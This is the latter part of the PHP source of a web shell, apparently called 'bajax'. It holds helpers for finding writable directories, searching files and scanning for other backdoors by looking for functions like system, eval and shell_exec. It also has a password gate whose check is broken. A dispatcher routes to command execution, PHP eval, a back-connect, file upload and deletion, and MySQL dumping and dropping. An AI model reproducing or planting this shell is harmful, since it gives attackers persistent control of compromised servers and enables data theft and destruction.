1595 $r.="<tr><td> <a href='?act=lihat&dir=".$this->dir()."&file=".$dir.$file."'>$dir$file</a></td></tr>";
1596 }
1597 }
1598 }
1599 }
1600 }
1601 return $r;
1602 }
1603 function locate_file($dir,$name) {
1604 $res=array();
1605 foreach (scandir($dir) as $file) {
1606 if ($file !='.' && $file !='..') {
1607 if (is_dir($dir.DIRECTORY_SEPARATOR.$file)) {
1608 $res=array_merge($res,$this->locate_file($dir.DIRECTORY_SEPARATOR.$file,$name));
1609 if (is_dir($dir.DIRECTORY_SEPARATOR.$file) && preg_match('/^'.$name.'/',$file )) {
1610 $res[]=$dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR;
1611 }
1612 } else {
1613
1614 if (preg_match("/^$name/", $file)) {
1615 $res[]=$dir.DIRECTORY_SEPARATOR.$file;
1616 }
1617
1618 }
1619 }
1620 }
1621 return $res;
1622 }
1623
1624 function scdir($dir) {
1625 $res=array();
1626 foreach (scandir($dir) as $file) {
1627 if ($file !='.' && $file !='..') {
1628 if (is_dir($dir.DIRECTORY_SEPARATOR.$file)) {
1629 $res=array_merge($res,$this->scdir($dir.DIRECTORY_SEPARATOR.$file));
1630 if (is_dir($dir.DIRECTORY_SEPARATOR.$file) && is_writable($dir.DIRECTORY_SEPARATOR.$file)) {
1631 $res[]=$dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR;
1632 }
1633 }
1634 }
1635 }
1636 return $res;
1637 }
1638 function writable()
1639 {
1640 $r="<div id='isi'>";
1641 if(isset($_POST['finddir'])&&isset($_POST['submit']))
1642 {
1643 $search=$this->scdir($_POST['finddir']);
1644 if (count($search)>0) {
1645 $r.="<table width='100%'' class='xpltab'><tr><th>Writable dir Found</th></tr>";
1646 foreach ($search as $file) {
1647 if (is_dir($file)) {
1648 $r.="<tr><td><a href='?act=file&dir=".$file."'>$file</a></td></tr>";
1649 } else {
1650 $r.="<tr><td><a href='?act=lihat&dir=".$this->dir()."&file=$file'>$file</a></td></tr>";
1651 }
1652
1653 }
1654 } else {
1655 $r.="<table width='100%'' class='xpltab'><tr><th>Sorry, No writable dir found</th></tr>";
1656 }
1657
1658 $r.="</table>";
1659
1660 } else {
1661 $r.="<center>Find All Writable Directory <br /><form method='post' action='?act=write&dir=".$this->dir()."'>".$this->current('write')."<br /><input type='hidden' name='finddir' id='box' value='".$this->dir()."'><input id='but' type='submit' style='margin-top:5px;color:#fff' name='submit' value='Search'></center><form>";
1662 }
1663 $r.="</div>";
1664 return $r;
1665 }
1666 function search() {
1667 $r="<div id='isi'>";
1668 if (isset($_POST['cari']) && $_POST['filename']) {
1669 $search=$this->locate_file($_POST['addr'],$_POST['filename']);
1670 if (count($search)>0) {
1671 $r.="<table width='100%'' class='xpltab'><tr><th>Files Found</th></tr>";
1672 foreach ($search as $file) {
1673 if (is_dir($file)) {
1674 $r.="<tr><td><a href='?act=file&dir=".$file."'>$file</a></td></tr>";
1675 } else {
1676 $r.="<tr><td><a href='?act=lihat&dir=".$this->dir()."&file=$file'>$file</a></td></tr>";
1677 }
1678 }
1679 } else {
1680 $r.="<table width='100%'' class='xpltab'><tr><th>Sorry, No file found</th></tr>";
1681 }
1682 $r.="</table>";
1683 } else {
1684 $r="<center><form method='post' action='?act=search&dir=".$this->dir()."'>Search File<p />
1685 <input type='hidden' style='width:500px;' name='addr' id='box' value='".$this->dir()."'>".$this->current('search')."<p />
1686 <input type='text' name='filename' id='box'>
1687 <input type='submit' name='cari' id='but' value='Search'></form></center>";
1688 }
1689 $r.="</div>";
1690 return $r;
1691 }
1692 function bdf($dir) {
1693 $r='';
1694 $has=$_POST['bug'];
1695 if($files = @scandir($dir)) {
1696 foreach($files as $file) {
1697 if($file != '.' && $file != '..'&& $file !='cgi-bin') {
1698 if(@is_dir($dir.$slash.$file)) {
1699 $r.=$this->bdf($dir.$file.DIRECTORY_SEPARATOR);
1700
1701 } else {
1702 $op = @file_get_contents($dir.DIRECTORY_SEPARATOR.$file);
1703 if($op)
1704 foreach($has as $bug) {
1705 if(@preg_match("/$bug\((.*?)\)/", $op)) {
1706
1707 $r.="<tr><td>Contain '$bug' at <a href='?act=lihat&dir=".$this->dir()."&file=".$dir.$file."'>$dir.$file</a></td><td>".date("d-M-Y H:i",filemtime($dir.$file))."</td></tr>";
1708
1709 }
1710 }
1711
1712 }
1713 }
1714 }
1715 }
1716 return $r;
1717 }
1718 function doorscan() {
1719 $this->find = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file','copy','pcntl_exec','escapeshellarg','escapeshellcmd','proc_open','proc_get_status','proc_nice','proc_open','proc_terminate');
1720 $r="<div id='isi'>";
1721 if(isset($_POST['submit'])&&isset($_POST['bug']))
1722 { $r.="<table width='100%'' class='xpltab'><tr><th>These Files Probably Backdoor</th><th>Last Modified</th></tr>";
1723 $r.=$this->bdf($_POST['dir']);
1724 $r.="</table>";
1725 }
1726 else {
1727 $r.="<center><form method='post' action='?act=bds&dir=".$this->dir()."'>Scan In : <input type='hidden' name='dir' value='".$this->dir()."'>".$this->current('bds')."<br />Scan Type : </center>";
1728 foreach ($this->find as $val) {
1729 $r.="<input style='margin-left:43%;margin-top:7px;' type='checkbox' name='bug[]' value='".$val."'>".$val."<br />";
1730 }
1731 $r.="<center><input type='submit' name='submit' id='but' style='margin-top:10px;width:150px;color:#fff' value='Search Backdoor'></form>";
1732 $r.="</center>";
1733 }
1734 $r.="</div>";
1735 return $r;
1736 }
1737 function auth() {
1738 $res='<style>body{background:#000;}input {background:#120f0b;border:none;color:#00A600;}</style><div style="font-size:12px;color:#00A600;position:fixed;top:10px;left:50%;margin-left:-150px;padding:10px 50px 50px 10px;background:#120f0b;border-top:20px solid #00A600;-moz-box-shadow:inset 0 0 10px #00c6ff;
1739 -webkit-box-shadow: inset 0 0 10px #00c6ff;
1740 box-shadow: 0 0 10px #00A600;
1741 border-radius:5px"><form method="post" action="">
1742 <input value="root@bajax:-$" disabled="disabled"><br>Password :
1743 <input type="password" autofocus="autofocus" name="pass" >
1744 <input type="submit" style="color:#120f0b;width:0" name="auth">
1745 </form></div>';
1746 return $res;
1747 }
1748 function cookies() {
1749 if(isset($_POST['auth'])) {
1750 $pass=strtolower(trim(md5($_POST['pass'])));
1751 if($this->password=$pass) {
1752 setcookie('bajax',$pass,time()+3600*24);
1753 $url=$_SERVER['SCRIPT_NAME'];
1754 header('location:'.$url);
1755 die();
1756 }
1757 }
1758 if(empty($_COOKIE['bajax']) and $_COOKIE['bajax'] !=$this->password) {
1759 echo $this->auth();
1760 die();
1761 }
1762
1763 }
1764
1765}
1766$bajax=new bajax();
1767$r='';
1768$r.=$bajax->header();
1769$r.=$bajax->menu();
1770$r.="</div='isi'>";
1771switch ($_GET['act']) {
1772 case 'file':
1773 if(isset($_GET['act2'])=='del')
1774 $r.=$bajax->remfile();
1775 if(isset($_GET['act3'])=='del')
1776 $r.=$bajax->remdir();
1777 $r.=$bajax->xpl();
1778 $r.=$bajax->center();
1779 break;
1780 case 'edit':
1781 $r.=$bajax->edit($_GET['file']);
1782 break;
1783 case 'ren':
1784 $r.=$bajax->ren($_GET['file']);
1785 break;
1786 case 'cmd':
1787 $r.=$bajax->command();
1788 $r.=$bajax->center();
1789 break;
1790 case 'downfile':
1791 $r.=$bajax->downloadfile($_GET['file']);
1792 break;
1793 case 'down':
1794 $r.=$bajax->get_selected($_GET['file']);
1795 break;
1796 case 'downfolder':
1797 $r.=$bajax->downloadfolder($_GET['file']);
1798 break;
1799 case 'mysql':
1800 $r.=$bajax->login();
1801 break;
1802 case 'view':
1803 $r.=$bajax->lihatdb();
1804 break;
1805 case 'showtable':
1806 $r.=$bajax->showtable();
1807 break;
1808 case 'showcon':
1809 $r.=$bajax->showcon();
1810 break;
1811 case 'downdb':
1812 $r.=$bajax->downdb();
1813 break;
1814 case 'downstruc':
1815 $r.=$bajax->downstruc();
1816 break;
1817 case 'editrow':
1818 $r.=$bajax->editrow();
1819 break;
1820 case 'logout':
1821 $_SESSION=array();
1822 session_destroy();
1823 header("location:?act=mysql");
1824 break;
1825 case 'dropdb':
1826 $r.=$bajax->dropsql();
1827 break;
1828 case 'delrow':
1829 $r.=$bajax->droprow();
1830 break;
1831 case 'insertrow':$r.=$bajax->insertrow();break;
1832 case 'encode':$r.=$bajax->converter();break;
1833 case 'ser':$r.=$bajax->infoser();break;
1834 case "eval":$r.=$bajax->phpeval();$r.=$bajax->center();break;
1835 case 'write':$r.=$bajax->writable();break;
1836 case 'bds':$r.=$bajax->doorscan();break;
1837 case 'bc':$r.=$bajax->door();break;
1838 case 'loc':$r.=$bajax->locate();break;
1839 case 'search':$r.=$bajax->search();break;
1840 case 'lihat':$r.=$bajax->lihat($_GET['file']);break;
1841 case 'out':setcookie('bajax','',time()-3600*24);header("location:".$_SERVER['SCRIPT_NAME']);break;
1842 default:
1843 $r.=$bajax->logo();
1844 break;
1845
1846}
1847switch ($_POST['action']) {
1848 case 'editfile':
1849 if($bajax->editfile($_POST['file']))
1850 $r.=header("location:?act=edit&dir=".$bajax->dir()."&file=".$_GET['file']."");
1851 break;
1852 case 'renamed':
1853 if($bajax->rename($_POST['file']))
1854 $r.=header("location:?act=file&dir=".$bajax->dir()."");
1855 break;
1856 case "mkdir":
1857 $r.=$bajax->mkdir();
1858 $r.=header("location:?act=file&dir=".$bajax->dir()."");
1859 break;
1860 case "createfile":
1861 $r.=$bajax->createfile();
1862 $r.=header("location:?act=file&dir=".$bajax->dir()."");
1863 break;
1864 case "uploader":
1865 $r.=$bajax->upload();
1866 $r.=header("location:?act=file&dir=".$bajax->dir()."");
1867 break;
1868 case 'createdb':
1869 $r.=$bajax->createdb($_POST['dbname']);
1870 break;
1871 case 'updaterow':
1872 $r.=$bajax->updaterow();
1873 break;
1874 case 'insertrow':
1875 $r.=$bajax->insertrow();
1876 break;
1877}
1878$r.="</div>";
1879$r.=$bajax->footer();
1880$bajax->cookies();
1881echo $r;
1882ob_end_flush();
1883?>